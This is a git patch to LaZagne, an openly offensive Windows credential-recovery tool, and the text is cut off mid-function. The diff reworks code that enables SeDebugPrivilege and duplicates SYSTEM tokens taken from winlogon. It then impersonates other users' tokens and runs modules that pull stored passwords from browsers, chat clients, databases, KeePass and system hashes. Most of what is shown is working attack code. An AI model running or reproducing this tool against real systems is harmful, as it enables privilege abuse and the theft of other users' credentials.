From e4af3e1496374df554de95a9b22bc85805831101 Mon Sep 17 00:00:00 2001 From: AlessandroZ Date: Fri, 9 Dec 2016 00:37:32 +0100 Subject: [PATCH] changing lot of stuff --- Windows/laZagne.py | 483 +++---- Windows/lazagne/config/changePrivileges.py | 345 ++--- Windows/lazagne/config/constant.py | 11 +- Windows/lazagne/config/manageModules.py | 6 +- Windows/lazagne/config/moduleInfo.py | 12 +- Windows/lazagne/config/powershell_execute.py | 40 + Windows/lazagne/softwares/browsers/chrome.py | 26 +- Windows/lazagne/softwares/browsers/ie.py | 2 +- Windows/lazagne/softwares/browsers/mozilla.py | 23 +- Windows/lazagne/softwares/browsers/opera.py | 38 +- Windows/lazagne/softwares/chats/jitsi.py | 22 +- Windows/lazagne/softwares/chats/pidgin.py | 14 +- Windows/lazagne/softwares/chats/skype.py | 69 +- Windows/lazagne/softwares/databases/dbvis.py | 13 +- .../lazagne/softwares/databases/robomongo.py | 4 +- .../softwares/databases/sqldeveloper.py | 16 +- .../lazagne/softwares/databases/squirrel.py | 12 +- .../lazagne/softwares/games/galconfusion.py | 2 +- .../lazagne/softwares/games/kalypsomedia.py | 10 +- Windows/lazagne/softwares/games/roguestale.py | 9 +- Windows/lazagne/softwares/games/turba.py | 2 +- .../lazagne/softwares/git/gitforwindows.py | 4 +- Windows/lazagne/softwares/mails/outlook.py | 4 +- .../softwares/maven/mavenrepositories.py | 8 +- Windows/lazagne/softwares/memory/keepass.py | 40 +- Windows/lazagne/softwares/svn/tortoise.py | 9 +- .../sysadmin/apachedirectorystudio.py | 2 +- .../lazagne/softwares/sysadmin/cyberduck.py | 26 +- .../lazagne/softwares/sysadmin/filezilla.py | 8 +- .../softwares/sysadmin/ftpnavigator.py | 13 +- .../softwares/sysadmin/opensshforwindows.py | 2 +- Windows/lazagne/softwares/sysadmin/puttycm.py | 2 +- Windows/lazagne/softwares/sysadmin/winscp.py | 2 +- Windows/lazagne/softwares/wifi/wifi.py | 8 +- Windows/lazagne/softwares/windows/dot_net.py | 2 +- Windows/lazagne/softwares/windows/network.py | 2 +- .../softwares/windows/passwords_hints.py | 109 -- Windows/lazagne/softwares/windows/secrets.py | 64 - .../lazagne/softwares/windows/secretsdump.py | 1199 ----------------- .../lazagne/softwares/windows/system_hash.py | 583 ++++++++ 40 files changed, 1127 insertions(+), 2119 deletions(-) create mode 100755 Windows/lazagne/config/powershell_execute.py delete mode 100755 Windows/lazagne/softwares/windows/passwords_hints.py delete mode 100755 Windows/lazagne/softwares/windows/secrets.py delete mode 100755 Windows/lazagne/softwares/windows/secretsdump.py create mode 100755 Windows/lazagne/softwares/windows/system_hash.py diff --git a/Windows/laZagne.py b/Windows/laZagne.py index 374fa9c0..3c2d532b 100755 --- a/Windows/laZagne.py +++ b/Windows/laZagne.py @@ -10,40 +10,24 @@ import argparse import time, sys, os import logging -import tempfile import shutil -import random import json -import psutil import getpass import traceback - -# used for inteprocesses communication (for impersonation) -import rpyc -from rpyc.utils.server import ThreadedServer +import ctypes # Softwares that passwords can be retrieved without needed to be in the user environmment from lazagne.softwares.browsers.mozilla import Mozilla -from lazagne.softwares.wifi.wifi import Wifi -from lazagne.softwares.windows.secrets import Secrets -from lazagne.softwares.chats.jitsi import Jitsi -from lazagne.softwares.chats.pidgin import Pidgin -from lazagne.softwares.databases.dbvis import Dbvisualizer -from lazagne.softwares.databases.sqldeveloper import SQLDeveloper -from lazagne.softwares.games.kalypsomedia import KalypsoMedia -from lazagne.softwares.games.roguestale import RoguesTale -from lazagne.softwares.sysadmin.filezilla import Filezilla # Configuration from lazagne.config.header import Header from lazagne.config.write_output import write_header, write_footer, print_footer, print_debug, parseJsonResultToBuffer, print_output from lazagne.config.constant import * from lazagne.config.manageModules import get_categories, get_modules -from lazagne.config.changePrivileges import ListSids, GetUserName, create_proc_as_sid, rev2self, getsystem +from lazagne.config.changePrivileges import ListSids, rev2self, impersonate_sid_long_handle -# Tab containing all children passwords +# Tab containing all passwords stdoutRes = [] -pids = [] category = get_categories() moduleNames = get_modules() @@ -99,12 +83,12 @@ def verbosity(): root.addHandler(stream) del args['verbose'] -def launch_module(b, need_high_privileges=False, need_to_be_in_env=True): +def launch_module(module, need_high_privileges=False, need_system_privileges=False, not_need_to_be_in_env=False, cannot_be_impersonate_using_tokens=False): modulesToLaunch = [] try: # Launch only a specific module for i in args: - if args[i] and i in b: + if args[i] and i in module: modulesToLaunch.append(i) except: # if no args @@ -112,21 +96,25 @@ def launch_module(b, need_high_privileges=False, need_to_be_in_env=True): # Launch all modules if not modulesToLaunch: - modulesToLaunch = b + modulesToLaunch = module for i in modulesToLaunch: - # Retrieve modules that needs or not to be in the environment user - if not ((not need_to_be_in_env and need_to_be_in_env == b[i].need_to_be_in_env) or need_to_be_in_env): + if not_need_to_be_in_env and module[i].need_to_be_in_env: + continue + + if need_high_privileges ^ module[i].need_high_privileges: continue - # Retrieve modules that needs high privileges - if need_high_privileges ^ b[i].need_high_privileges: + if need_system_privileges ^ module[i].need_system_privileges: continue + if cannot_be_impersonate_using_tokens and module[i].cannot_be_impersonate_using_tokens: + continue + try: - Header().title_info(i.capitalize()) # print title - pwdFound = b[i].run(i.capitalize()) # run the module - print_output(i.capitalize(), pwdFound) # print the results + Header().title_info(i.capitalize()) # print title + pwdFound = module[i].run(i.capitalize()) # run the module + print_output(i.capitalize(), pwdFound) # print the results # return value - not used but needed yield True, i.capitalize(), pwdFound @@ -149,11 +137,6 @@ def manage_advanced_options(): if 'specific_path' in args: constant.specific_path = args['specific_path'] - if 'mails' in args['auditType']: - constant.mozilla_software = 'Thunderbird' - elif 'browsers' in args['auditType']: - constant.mozilla_software = 'Firefox' - # Jitsi advanced options if 'master_pwd' in args: constant.jitsi_masterpass = args['master_pwd'] @@ -163,54 +146,16 @@ def manage_advanced_options(): constant.ie_historic = args['historic'] # Run only one module -def runModule(category=None, need_high_privileges=False, need_to_be_in_env=True): - if not category: - try: - category = args['auditType'] - manage_advanced_options() - except: - pass +def runModule(category_choosed, need_high_privileges=False, need_system_privileges=False, not_need_to_be_in_env=False, cannot_be_impersonate_using_tokens=False): + global category - for r in launch_module(modules[category], need_high_privileges, need_to_be_in_env): - yield r + if category_choosed != 'all': + category = [category_choosed] -# Run all -def runAllModules(need_high_privileges=False, need_to_be_in_env=True): - try: - manage_advanced_options() - except: - pass for categoryName in category: - for r in launch_module(modules[categoryName], need_high_privileges, need_to_be_in_env): + for r in launch_module(modules[categoryName], need_high_privileges, need_system_privileges, not_need_to_be_in_env, cannot_be_impersonate_using_tokens): yield r -# Functions used to manage rpyc server (listening and receiving data) -global_cpt = 0 -class MyServer(rpyc.Service): - - def exposed_echo(self, output): - global stdoutRes - try: - stdoutRes += json.loads(output) - except: - pass - - def on_disconnect(self): - global global_cpt - global_cpt += 1 - if global_cpt >= len(pids): - global server - server.close() - -def send_data(data, port): - time.sleep(2) - c = rpyc.connect("localhost", port) - try: - toSend = json.dumps(data) - except: - toSend = '' - c.root.echo(toSend) - # write output to file (json and txt files) def write_in_file(result): try: @@ -247,6 +192,19 @@ def get_user_list_on_filesystem(impersonated_user=[]): return all_users +def set_env_variables(user = getpass.getuser(), toImpersonate = False): + constant.username = user + if not toImpersonate: + constant.profile['APPDATA'] = os.environ.get('APPDATA', 'C:\\Users\\%s\\AppData\\Roaming\\' % user) + constant.profile['USERPROFILE'] = os.environ.get('USERPROFILE', 'C:\\Users\\%s\\' % user) + constant.profile['HOMEDRIVE'] = os.environ.get('HOMEDRIVE', 'C:') + constant.profile['HOMEPATH'] = os.environ.get('HOMEPATH', 'C:\\Users\\%s' % user) + constant.profile['ALLUSERSPROFILE'] = os.environ.get('ALLUSERSPROFILE', 'C:\\ProgramData') + else: + constant.profile['APPDATA'] = 'C:\\Users\\%s\\AppData\\Roaming\\' % user + constant.profile['USERPROFILE'] = 'C:\\Users\\%s\\' % user + constant.profile['HOMEPATH'] = 'C:\\Users\\%s' % user + # Used to print help menu when an error occurs class MyParser(argparse.ArgumentParser): def error(self, message): @@ -254,236 +212,167 @@ def error(self, message): self.print_help() sys.exit(2) -# Print the title -Header().first_title() - -parser = MyParser() -parser.add_argument('--version', action='version', version='Version ' + str(constant.CURRENT_VERSION), help='laZagne version') - -# ------------------------------------------- Permanent options ------------------------------------------- -# Version and verbosity -PPoptional = argparse.ArgumentParser(add_help=False,formatter_class=lambda prog: argparse.HelpFormatter(prog, max_help_position=constant.MAX_HELP_POSITION)) -PPoptional._optionals.title = 'optional arguments' -PPoptional.add_argument('-v', dest='verbose', action='count', default=0, help='increase verbosity level') -PPoptional.add_argument('-path', dest='path', action= 'store', help = 'path of a file used for dictionary file') -PPoptional.add_argument('-b', dest='bruteforce', action= 'store', help = 'number of character to brute force') -PPoptional.add_argument('--child', action= 'store_true', help=argparse.SUPPRESS) -PPoptional.add_argument('--rpyc_port', action= 'store', default=18829, help=argparse.SUPPRESS) - -# Output -PWrite = argparse.ArgumentParser(add_help=False,formatter_class=lambda prog: argparse.HelpFormatter(prog, max_help_position=constant.MAX_HELP_POSITION)) -PWrite._optionals.title = 'Output' -PWrite.add_argument('-oN', dest='write_normal', action='store_true', help = 'output file in a readable format') -PWrite.add_argument('-oJ', dest='write_json', action='store_true', help = 'output file in a json format') -PWrite.add_argument('-oA', dest='write_all', action='store_true', help = 'output file in all format') - -# ------------------------------------------- Add options and suboptions to all modules ------------------------------------------- -all_subparser = [] -for c in category: - category[c]['parser'] = argparse.ArgumentParser(add_help=False,formatter_class=lambda prog: argparse.HelpFormatter(prog, max_help_position=constant.MAX_HELP_POSITION)) - category[c]['parser']._optionals.title = category[c]['help'] - - # Manage options - category[c]['subparser'] = [] - for module in modules[c].keys(): - m = modules[c][module] - category[c]['parser'].add_argument(m.options['command'], action=m.options['action'], dest=m.options['dest'], help=m.options['help']) - - # Manage all suboptions by modules - if m.suboptions and m.name != 'thunderbird': - tmp = [] - for sub in m.suboptions: - tmp_subparser = argparse.ArgumentParser(add_help=False,formatter_class=lambda prog: argparse.HelpFormatter(prog, max_help_position=constant.MAX_HELP_POSITION)) - tmp_subparser._optionals.title = sub['title'] - if 'type' in sub: - tmp_subparser.add_argument(sub['command'], type=sub['type'], action=sub['action'], dest=sub['dest'], help=sub['help']) - else: - tmp_subparser.add_argument(sub['command'], action=sub['action'], dest=sub['dest'], help=sub['help']) - tmp.append(tmp_subparser) - all_subparser.append(tmp_subparser) - category[c]['subparser'] += tmp - -# ------------------------------------------- Print all ------------------------------------------- -parents = [PPoptional] + all_subparser + [PWrite] -dic = {'all':{'parents':parents, 'help':'Run all modules', 'func': runAllModules}} -for c in category: - parser_tab = [PPoptional, category[c]['parser']] - if 'subparser' in category[c]: - if category[c]['subparser']: - parser_tab += category[c]['subparser'] - parser_tab += [PWrite] - dic_tmp = {c: {'parents': parser_tab, 'help':'Run %s module' % c, 'func': runModule}} - dic = dict(dic.items() + dic_tmp.items()) - -#2- Main commands -subparsers = parser.add_subparsers(help='Choose a main command') -for d in dic: - subparsers.add_parser(d,parents=dic[d]['parents'],help=dic[d]['help']).set_defaults(func=dic[d]['func'],auditType=d) - -# ------------------------------------------- Parse arguments ------------------------------------------- -args = dict(parser.parse_args()._get_kwargs()) -arguments = parser.parse_args() -start_time = time.time() -output() -verbosity() - -# ------ Part used for user impersonation ------ - -currentUser = getpass.getuser() -argv = vars(arguments)['auditType'] -current_filepath = sys.argv[0] -sids = ListSids() -isSystem = False -dataToSend = False -isChild = args.get('child', False) -rpyc_port = int(args.get('rpyc_port')) -rpyc_port_system = rpyc_port + 1 - -# Check if we have system privileges -for sid in sids: - if sid[0] == os.getpid(): - if sid[2] == "S-1-5-18": - isSystem = True - -# System privileges -if isSystem: - while True: - try: - server = ThreadedServer(MyServer, port=rpyc_port_system) - break - except: - rpyc_port_system += 1 - - # Get a list of user we could impersonate from token - impersonateUsers = {} - impersonated_user = [] - for sid in sids: - if ' NT' not in sid[3].split('\\')[0] and 'NT ' not in sid[3].split('\\')[0] and 'Window' not in sid[3].split('\\')[0]: - impersonateUsers.setdefault(sid[3], []).append(sid[2]) - - # Impersonate an user - for users in impersonateUsers: - print_debug('INFO', '[!] Impersonate token user of %s' % users.encode('utf-8')) - for sid in impersonateUsers[users]: - try: - pids.append(int(create_proc_as_sid(sid, "cmd.exe /c %s %s --child --rpyc_port %s" % (current_filepath, argv, str(rpyc_port_system))))) - rev2self() - try: - # Store user when the impersonation succeed - impersonated_user.append(users.split('\\')[1]) - except: - pass - - break - except Exception,e: - print_debug('ERROR', str(e)) - pass - - # check if all process have been started - time.sleep(4) - for pid in pids: - try: - p = psutil.Process(pid) - except: - # the process has not been started, the server should not wait for its result - global_cpt += 1 +def runLaZagne(): - # start server until getting children results - # childreen output stored in the stdoutRes tab - server.start() + # ------ Part used for user impersonation ------ - all_users = get_user_list_on_filesystem(impersonated_user) - - # Ready to check for all users remaining - for user_selected in all_users: - print_debug('INFO', '[!] Trying to impersonate user: %s' % user_selected) - print '\n\n########## User: %s ##########\n' % user_selected - - # Fix value by default for user environnment (appdata and userprofile) - constant.userprofile = 'C:\\Users\\%s\\' % user_selected - constant.appdata = 'C:\\Users\\%s\\AppData\\Roaming\\' % user_selected - constant.finalResults = {'User': user_selected} - - # Retrieve passwords that need high privileges - for r in arguments.func(need_to_be_in_env=False): - pass + current_user = getpass.getuser().encode('utf-8', errors='ignore') + if not current_user.endswith('$'): + constant.finalResults = {'User': current_user} + print '\n\n########## User: %s ##########\n' % current_user + set_env_variables() + for r in runModule(category_choosed): + yield r stdoutRes.append(constant.finalResults) - - constant.finalResults = {} - constant.finalResults['User'] = "SYSTEM" - - if not isChild: - print '\n\n########## User: SYSTEM ##########\n' - # Retrieve passwords that need high privileges - for r in arguments.func(need_high_privileges=True): - pass - - if not isChild: - # Print the entire output of children results - print parseJsonResultToBuffer(stdoutRes, color=True) + # Check if admin to impersonate + if ctypes.windll.shell32.IsUserAnAdmin() != 0: - stdoutRes.append(constant.finalResults) - if not isChild: - write_in_file(stdoutRes) - else: - send_data(stdoutRes, rpyc_port) - -# Not System -else: - if isChild: - # - Normal execution - # - Send output to the local listenning server - # - Quit - dataToSend = True - else: - print_debug('INFO', 'We do not have system privileges') + # --------- Impersonation using tokens --------- - while True: - try: - server = ThreadedServer(MyServer, port=rpyc_port) - break - except: - rpyc_port += 1 + sids = ListSids() + impersonateUsers = {} + impersonated_user = [current_user] + for sid in sids: + # Not save the current user's SIDs + if current_user != sid[3].split('\\', 1)[1]: + impersonateUsers.setdefault(sid[3].split('\\', 1)[1], []).append(sid[2]) + + for user in impersonateUsers: + if 'service ' in user.lower() or ' service' in user.lower(): + continue - try: - # Trying to get system - print_debug('INFO', 'Trying to get system') + print '\n\n########## User: %s ##########\n' % user.encode('utf-8', errors='ignore') + constant.finalResults = {'User': user} + for sid in impersonateUsers[user]: + try: + set_env_variables(user, toImpersonate=True) + if not impersonate_sid_long_handle(sid, close=False): + continue + # time.sleep(3) + + _cannot_be_impersonate_using_tokens = False + _need_system_privileges = False + + if sid == "S-1-5-18": + _need_system_privileges = True + else: + impersonated_user.append(user) + _cannot_be_impersonate_using_tokens = True + + # Launch module wanted + for r in runModule(category_choosed, need_system_privileges=_need_system_privileges, cannot_be_impersonate_using_tokens=_cannot_be_impersonate_using_tokens): + pass + + rev2self() + stdoutRes.append(constant.finalResults) + break + except Exception, e: + print e + pass - pid = int(getsystem("cmd.exe /c %s %s --child --rpyc_port %s" % (current_filepath, argv, str(rpyc_port)))) - print_debug('INFO', 'Get system privileges, waiting for impersonation process') - - # start server until getting children results - # childreen output stored in the stdoutRes tab - server.start() + # --------- Impersonation browsing file system - # Print final result with color - print parseJsonResultToBuffer(stdoutRes, color=True) - write_in_file(stdoutRes) + # Ready to check for all users remaining + all_users = get_user_list_on_filesystem(impersonated_user) + for user in all_users: + set_env_variables(user, toImpersonate = True) + print_debug('INFO', '[!] Trying to impersonate user: %s' % user.encode('utf-8', errors='ignore')) + print '\n\n########## User: %s ##########\n' % user.encode('utf-8', errors='ignore') - # Everything was ok, we can exit - sys.exit() - - except Exception as e: - print_debug('WARNING', 'Not enough privileges to get system rights: %s' % e) - # Is not system and is not elevated - # Realize a normal execution - -# ------ End of user impersonation ------ - - constant.finalResults['User'] = currentUser - print '\n\n########## User: %s ##########\n' % currentUser - for return_code, software, pwdFounds in arguments.func(): + # Fix value by default for user environnment (appdata and userprofile) + constant.finalResults = {'User': user} + + # Retrieve passwords that need high privileges + for r in runModule(category_choosed, not_need_to_be_in_env=True): + yield r + + stdoutRes.append(constant.finalResults) + +if __name__ == '__main__': + + # Print the title + Header().first_title() + + parser = MyParser() + parser.add_argument('--version', action='version', version='Version ' + str(constant.CURRENT_VERSION), help='laZagne version') + + # ------------------------------------------- Permanent options ------------------------------------------- + # Version and verbosity + PPoptional = argparse.ArgumentParser(add_help=False,formatter_class=lambda prog: argparse.HelpFormatter(prog, max_help_position=constant.MAX_HELP_POSITION)) + PPoptional._optionals.title = 'optional arguments' + PPoptional.add_argument('-v', dest='verbose', action='count', default=0, help='increase verbosity level') + PPoptional.add_argument('-path', dest='path', action= 'store', help = 'path of a file used for dictionary file') + PPoptional.add_argument('-b', dest='bruteforce', action= 'store', help = 'number of character to brute force') + + # Output + PWrite = argparse.ArgumentParser(add_help=False,formatter_class=lambda prog: argparse.HelpFormatter(prog, max_help_position=constant.MAX_HELP_POSITION)) + PWrite._optionals.title = 'Output' + PWrite.add_argument('-oN', dest='write_normal', action='store_true', help = 'output file in a readable format') + PWrite.add_argument('-oJ', dest='write_json', action='store_true', help = 'output file in a json format') + PWrite.add_argument('-oA', dest='write_all', action='store_true', help = 'output file in all format') + + # ------------------------------------------- Add options and suboptions to all modules ------------------------------------------- + all_subparser = [] + for c in category: + category[c]['parser'] = argparse.ArgumentParser(add_help=False,formatter_class=lambda prog: argparse.HelpFormatter(prog, max_help_position=constant.MAX_HELP_POSITION)) + category[c]['parser']._optionals.title = category[c]['help'] + + # Manage options + category[c]['subparser'] = [] + for module in modules[c].keys(): + m = modules[c][module] + category[c]['parser'].add_argument(m.options['command'], action=m.options['action'], dest=m.options['dest'], help=m.options['help']) + + # Manage all suboptions by modules + if m.suboptions and m.name != 'thunderbird': + tmp = [] + for sub in m.suboptions: + tmp_subparser = argparse.ArgumentParser(add_help=False, formatter_class=lambda prog: argparse.HelpFormatter(prog, max_help_position=constant.MAX_HELP_POSITION)) + tmp_subparser._optionals.title = sub['title'] + if 'type' in sub: + tmp_subparser.add_argument(sub['command'], type=sub['type'], action=sub['action'], dest=sub['dest'], help=sub['help']) + else: + tmp_subparser.add_argument(sub['command'], action=sub['action'], dest=sub['dest'], help=sub['help']) + tmp.append(tmp_subparser) + all_subparser.append(tmp_subparser) + category[c]['subparser'] += tmp + + # ------------------------------------------- Print all ------------------------------------------- + parents = [PPoptional] + all_subparser + [PWrite] + dic = {'all':{'parents':parents, 'help':'Run all modules', 'func': runModule}} + for c in category: + parser_tab = [PPoptional, category[c]['parser']] + if 'subparser' in category[c]: + if category[c]['subparser']: + parser_tab += category[c]['subparser'] + parser_tab += [PWrite] + dic_tmp = {c: {'parents': parser_tab, 'help':'Run %s module' % c, 'func': runModule}} + dic = dict(dic.items() + dic_tmp.items()) + + #2- Main commands + subparsers = parser.add_subparsers(help='Choose a main command') + for d in dic: + subparsers.add_parser(d, parents=dic[d]['parents'], help=dic[d]['help']).set_defaults(func=dic[d]['func'], auditType=d) + + # ------------------------------------------- Parse arguments ------------------------------------------- + + args = dict(parser.parse_args()._get_kwargs()) + arguments = parser.parse_args() + category_choosed = args['auditType'] + + # Define constant variables + output() + verbosity() + manage_advanced_options() + + start_time = time.time() + + for r in runLaZagne(): pass - # Output retrieved from a child process and sent to the local server - if dataToSend: - send_data([constant.finalResults], rpyc_port) - - # Output retrieved from a normal user (no admin privileges required) - else: - write_in_file([constant.finalResults]) - print_footer() + write_in_file(stdoutRes) + print_footer() - elapsed_time = time.time() - start_time - print '\nelapsed time = ' + str(elapsed_time) \ No newline at end of file + elapsed_time = time.time() - start_time + print '\nelapsed time = ' + str(elapsed_time) diff --git a/Windows/lazagne/config/changePrivileges.py b/Windows/lazagne/config/changePrivileges.py index 63d4f997..b2f1794a 100755 --- a/Windows/lazagne/config/changePrivileges.py +++ b/Windows/lazagne/config/changePrivileges.py @@ -1,9 +1,9 @@ #original code from https://github.com/joren485/PyWinPrivEsc/blob/master/RunAsSystem.py import sys, os from ctypes import * -import subprocess +# import subprocess import psutil -import _subprocess as sub +# import _subprocess as sub from lazagne.config.write_output import print_debug LPVOID = c_void_p @@ -96,66 +96,73 @@ class STARTUPINFO(Structure): ('hStdError', HANDLE), ] -def GetUserName(): - nSize = DWORD(0) - windll.advapi32.GetUserNameA(None, byref(nSize)) - error = GetLastError() +# def GetUserName(): +# nSize = DWORD(0) +# windll.advapi32.GetUserNameA(None, byref(nSize)) +# error = GetLastError() - ERROR_INSUFFICIENT_BUFFER = 122 - if error != ERROR_INSUFFICIENT_BUFFER: - raise WinError(error) +# ERROR_INSUFFICIENT_BUFFER = 122 +# if error != ERROR_INSUFFICIENT_BUFFER: +# raise WinError(error) - lpBuffer = create_string_buffer('', nSize.value + 1) +# lpBuffer = create_string_buffer('', nSize.value + 1) - success = windll.advapi32.GetUserNameA(lpBuffer, byref(nSize)) - if not success: - raise WinError() - return lpBuffer.value +# success = windll.advapi32.GetUserNameA(lpBuffer, byref(nSize)) +# if not success: +# raise WinError() +# return lpBuffer.value def GetTokenSid(hToken): - """Retrieve SID from Token""" + """ Retrieve SID from Token """ dwSize = DWORD(0) pStringSid = LPSTR() - #print "hToken: %s"%hToken.value TokenUser = 1 - r=windll.advapi32.GetTokenInformation(hToken, TokenUser, byref(TOKEN_USER()), 0, byref(dwSize)) - if r!=0: - raise WinError() - address = windll.kernel32.LocalAlloc(0x0040, dwSize) - windll.advapi32.GetTokenInformation(hToken, TokenUser, address, dwSize, byref(dwSize)) - pToken_User = cast(address, POINTER(TOKEN_USER)) - windll.advapi32.ConvertSidToStringSidA(pToken_User.contents.User.Sid, byref(pStringSid)) - sid = pStringSid.value - windll.kernel32.LocalFree(address) - return sid - -def EnablePrivilege(privilegeStr, hToken = None): + if windll.advapi32.GetTokenInformation(hToken, TokenUser, byref(TOKEN_USER()), 0, byref(dwSize)) == 0: + address = windll.kernel32.LocalAlloc(0x0040, dwSize) + if address: + windll.advapi32.GetTokenInformation(hToken, TokenUser, address, dwSize, byref(dwSize)) + pToken_User = cast(address, POINTER(TOKEN_USER)) + windll.advapi32.ConvertSidToStringSidA(pToken_User.contents.User.Sid, byref(pStringSid)) + if pStringSid: + sid = pStringSid.value + windll.kernel32.LocalFree(address) + return sid + return False + +def EnablePrivilege(privilegeStr, hToken=None): """Enable Privilege on token, if no token is given the function gets the token of the current process.""" if hToken == None: TOKEN_ADJUST_PRIVILEGES = 0x00000020 TOKEN_QUERY = 0x0008 hToken = HANDLE(INVALID_HANDLE_VALUE) + if not hToken: + return False + hProcess = windll.kernel32.OpenProcess(PROCESS_QUERY_INFORMATION, False, windll.kernel32.GetCurrentProcessId()) - windll.advapi32.OpenProcessToken( hProcess, (TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY), byref(hToken) ) - e=GetLastError() - # if e!=0: - # raise WinError(e) + if not hProcess: + return False + + windll.advapi32.OpenProcessToken(hProcess, (TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY), byref(hToken)) + e = GetLastError() + if e != 0: + return False windll.kernel32.CloseHandle(hProcess) privilege_id = LUID() windll.advapi32.LookupPrivilegeValueA(None, privilegeStr, byref(privilege_id)) - e=GetLastError() - if e!=0: - raise WinError(e) + e = GetLastError() + if e != 0: + return False SE_PRIVILEGE_ENABLED = 0x00000002 laa = LUID_AND_ATTRIBUTES(privilege_id, SE_PRIVILEGE_ENABLED) tp = TOKEN_PRIVILEGES(1, laa) windll.advapi32.AdjustTokenPrivileges(hToken, False, byref(tp), sizeof(tp), None, None) - e=GetLastError() - if e!=0: - raise WinError(e) + e = GetLastError() + if e != 0: + return False + return True def ListSids(): sids=[] @@ -164,198 +171,194 @@ def ListSids(): try: pinfo = proc.as_dict(attrs=['pid', 'username', 'name']) except psutil.NoSuchProcess: - pass + continue + if pinfo['pid']<=4: continue if pinfo['username'] is None: continue try: hProcess = windll.kernel32.OpenProcess(PROCESS_QUERY_INFORMATION, False, int(pinfo['pid'])) + if not hProcess: + continue + hToken = HANDLE(INVALID_HANDLE_VALUE) + if not hToken: + continue + windll.advapi32.OpenProcessToken(hProcess, tokenprivs, byref(hToken)) + if not hToken: + continue + + token_sid = GetTokenSid(hToken) + if not token_sid: + continue + sids.append((pinfo['pid'], pinfo['name'], token_sid, pinfo['username'])) - try: - sids.append((pinfo['pid'], pinfo['name'], GetTokenSid(hToken), pinfo['username'])) - except: - pass windll.kernel32.CloseHandle(hToken) windll.kernel32.CloseHandle(hProcess) except Exception as e: print_debug('ERROR', str(e)) + return list(sids) def getProcessToken(pid): hProcess = windll.kernel32.OpenProcess(PROCESS_QUERY_INFORMATION, False, pid) - hToken = HANDLE(INVALID_HANDLE_VALUE) - windll.advapi32.OpenProcessToken(hProcess, tokenprivs, byref(hToken)) - windll.kernel32.CloseHandle(hProcess) - return hToken + if hProcess: + hToken = HANDLE(INVALID_HANDLE_VALUE) + if hToken: + windll.advapi32.OpenProcessToken(hProcess, tokenprivs, byref(hToken)) + if hToken: + windll.kernel32.CloseHandle(hProcess) + return hToken + return False def getSidToken(token_sid): - if token_sid == "S-1-5-18": sids = ListSids() for sid in sids: if "winlogon" in sid[1].lower(): try: hProcess = windll.kernel32.OpenProcess(PROCESS_QUERY_INFORMATION, False, sid[0]) - - hToken = HANDLE(INVALID_HANDLE_VALUE) - windll.advapi32.OpenProcessToken(hProcess, tokenprivs, byref(hToken)) - - print_debug('INFO', 'Using PID: ' + str(sid[0])) - windll.kernel32.CloseHandle(hProcess) - return hToken - windll.kernel32.CloseHandle(hToken) + if hProcess: + hToken = HANDLE(INVALID_HANDLE_VALUE) + if hToken: + windll.advapi32.OpenProcessToken(hProcess, tokenprivs, byref(hToken)) + if hToken: + print_debug('INFO', 'Using PID: ' + str(sid[0])) + windll.kernel32.CloseHandle(hProcess) + return hToken + + # windll.kernel32.CloseHandle(hToken) windll.kernel32.CloseHandle(hProcess) - except Exception, e : print_debug('ERROR', str(e)) - return + break + return False pids = [int(x) for x in psutil.pids() if int(x)>4] - for pid in pids: try: hProcess = windll.kernel32.OpenProcess(PROCESS_QUERY_INFORMATION, False, int(pid)) - - error=GetLastError() - hToken = HANDLE(INVALID_HANDLE_VALUE) - windll.advapi32.OpenProcessToken(hProcess, tokenprivs, byref(hToken)) - - ##If token SID is the SID of SYSTEM, return the token handle. - # print "sid: %s %s"%(pid,GetTokenSid(hToken)) - if GetTokenSid( hToken ) == token_sid: - print_debug('INFO', 'Using PID: ' + str(pid)) - windll.kernel32.CloseHandle(hProcess) - return hToken - - windll.kernel32.CloseHandle(hToken) + if hProcess: + hToken = HANDLE(INVALID_HANDLE_VALUE) + if hToken: + windll.advapi32.OpenProcessToken(hProcess, tokenprivs, byref(hToken)) + if hToken: + if GetTokenSid( hToken ) == token_sid: + print_debug('INFO', 'Using PID: ' + str(pid)) + windll.kernel32.CloseHandle(hProcess) + return hToken + windll.kernel32.CloseHandle(hToken) windll.kernel32.CloseHandle(hProcess) - except Exception, e : print_debug('ERROR', str(e)) + return False -def impersonate_pid(pid, close=True): - EnablePrivilege("SeDebugPrivilege") - hToken = getProcessToken(pid) - hTokendupe=impersonate_token(hToken) - if close: - windll.kernel32.CloseHandle(hTokendupe) - return hTokendupe +# def impersonate_pid(pid, close=True): +# EnablePrivilege("SeDebugPrivilege") +# hToken = getProcessToken(pid) +# hTokendupe=impersonate_token(hToken) +# if close: +# windll.kernel32.CloseHandle(hTokendupe) +# return hTokendupe def impersonate_sid(sid, close=True): - EnablePrivilege("SeDebugPrivilege") hToken = getSidToken(sid) - hTokendupe=impersonate_token(hToken) - if close: - windll.kernel32.CloseHandle(hTokendupe) - return hTokendupe - -global_ref=None + if hToken: + hTokendupe = impersonate_token(hToken) + if hTokendupe: + if close: + windll.kernel32.CloseHandle(hTokendupe) + return hTokendupe + return False + +global_ref = None def impersonate_sid_long_handle(*args, **kwargs): global global_ref - hTokendupe=impersonate_sid(*args, **kwargs) - try: - if global_ref is not None: - windll.kernel32.CloseHandle(global_ref) - except: - pass - global_ref=hTokendupe - return addressof(hTokendupe) - -def impersonate_pid_long_handle(*args, **kwargs): - global global_ref - hTokendupe=impersonate_pid(*args, **kwargs) - try: - if global_ref is not None: - windll.kernel32.CloseHandle(global_ref) - except: - pass - global_ref=hTokendupe - return addressof(hTokendupe) - -def impersonate_token(hToken): - if not windll.Shell32.IsUserAnAdmin(): - print_debug('ERROR', 'You need admin rights to run impersonate !') - EnablePrivilege("SeDebugPrivilege") - #hToken = getProcessToken(pid) - hTokendupe = HANDLE( INVALID_HANDLE_VALUE ) - SecurityImpersonation = 2 - TokenPrimary = 1 - if not windll.advapi32.DuplicateTokenEx( hToken, TOKEN_ALL_ACCESS, None, SecurityImpersonation, TokenPrimary, byref( hTokendupe ) ): - WinError() - windll.kernel32.CloseHandle(hToken) - try: - EnablePrivilege("SeAssignPrimaryTokenPrivilege", hToken = hTokendupe) - except Exception as e: - pass - try: - EnablePrivilege("SeIncreaseQuotaPrivilege", hToken = hTokendupe) - except Exception as e: - pass - try: - EnablePrivilege("SeImpersonatePrivilege") - except Exception as e: - pass + hTokendupe = impersonate_sid(*args, **kwargs) + if not hTokendupe: + return False - if not windll.advapi32.ImpersonateLoggedOnUser(hTokendupe): - return - - return hTokendupe - -def create_proc_as_sid(sid, 